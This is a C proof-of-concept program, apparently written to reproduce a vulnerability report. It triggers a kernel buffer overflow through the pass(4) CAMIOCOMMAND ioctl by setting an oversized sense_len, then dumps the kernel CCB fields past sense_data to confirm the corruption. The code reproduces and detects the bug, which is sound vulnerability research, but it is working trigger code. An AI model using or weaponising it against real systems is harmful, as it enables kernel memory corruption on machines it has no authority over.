DF-5297 / passexp.c
/* * passexp.c - DF-5297 trigger: XPT_SCSI_IO (TEST UNIT READY) through pass(4) * with csio.sense_len = 255 (larger than the 32-byte csio.sense_data). * The umass driver will DMA the device's REQUEST SENSE response (as long as * the device sends, up to sense_len bytes) into &csio.sense_data inside the * kernel CCB. After completion, pass(4) bcopy()s the whole kernel CCB back * to us, so any device bytes that landed past sense_data[31] show up in the * following fields (cdb_io, msg_ptr, ...). * * usage: passexp /dev/passN [sense_len] */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_pass.h> static void hd(const char *tag, const uint8_t *p, int n) { int i; printf("%s [%p..%p]:\n", tag, (const void *)p, (const void *)(p + n)); for (i = 0; i < n; i++) { if ((i & 15) == 0) printf(" +%04x: ", i); printf("%02x ", p[i]); if ((i & 15) == 15) printf("\n"); } if (n & 15) printf("\n"); } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s /dev/passN [sense_len]\n", argv[0]); return 2; } int sl = argc > 2 ? atoi(argv[2]) : 255; int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 2; } union ccb ccb; static uint8_t databuf[512]; memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_DIR_IN | CAM_DEV_QFRZDIS; ccb.ccb_h.timeout = 8000; ccb.csio.cdb_len = 10; /* READ(10) of the evil LBA 0x5297 - the device CHECK CONDITIONs it */ ccb.csio.cdb_io.cdb_bytes[0] = 0x28; /* READ_10 */ ccb.csio.cdb_io.cdb_bytes[2] = 0x00; /* lba = 0x00005297 */ ccb.csio.cdb_io.cdb_bytes[3] = 0x00; ccb.csio.cdb_io.cdb_bytes[4] = 0x52; ccb.csio.cdb_io.cdb_bytes[5] = 0x97; ccb.csio.cdb_io.cdb_bytes[7] = 0x00; /* 1 block */ ccb.csio.cdb_io.cdb_bytes[8] = 0x01; ccb.csio.dxfer_len = 512; ccb.csio.data_ptr = databuf; ccb.csio.sense_len = (u_int8_t)sl; printf("sizeof(union ccb)=%zu sizeof(sense_data)=%zu " "offsetof(cdb_io)=%zd\n", sizeof(union ccb), sizeof(ccb.csio.sense_data), (char *)&ccb.csio.cdb_io - (char *)&ccb.csio.sense_data); printf("issuing READ(10) lba=0x5297 with sense_len=%d ...\n", sl); if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { perror("CAMIOCOMMAND"); } printf("ccb_h.status=0x%08x scsi_status=0x%02x sense_resid=%d resid=%u\n", ccb.ccb_h.status, ccb.csio.scsi_status, ccb.csio.sense_resid, ccb.csio.resid); hd("sense_data[0..31]", (uint8_t *)&ccb.csio.sense_data, 32); hd("AFTER sense_data: cdb_io..init_id", (uint8_t *)&ccb.csio.cdb_io, (int)((char *)&ccb.csio.init_id + sizeof(ccb.csio.init_id) - (char *)&ccb.csio.cdb_io)); /* * Detection: the device's rolling pattern (0x40 + (i & 0x3f)) fills its * whole 255-byte "sense" reply. Bytes with index >= 32 land past the * 32-byte csio.sense_data, overwriting the following ccb_scsiio fields. * cdb_io sits at sense_data + 44, so cdb_io[i] should equal the pattern * byte for sense index (44 + i) if the overflow happened. */ int i, hit = 0; const uint8_t *p = (uint8_t *)&ccb.csio.cdb_io; for (i = 0; i < 48; i++) { int expect = 0x40 + ((44 + i) & 0x3f); if (p[i] == expect) hit++; } printf("PATTERN_MATCH_AFTER_SENSE_DATA: %d/48 bytes -> %s\n", hit, hit >= 40 ? "OVERFLOW CONFIRMED (device bytes past sense_data[31], " "kernel-CCB intra-object corruption)" : "no overflow observed"); return hit >= 40 ? 0 : 1; } |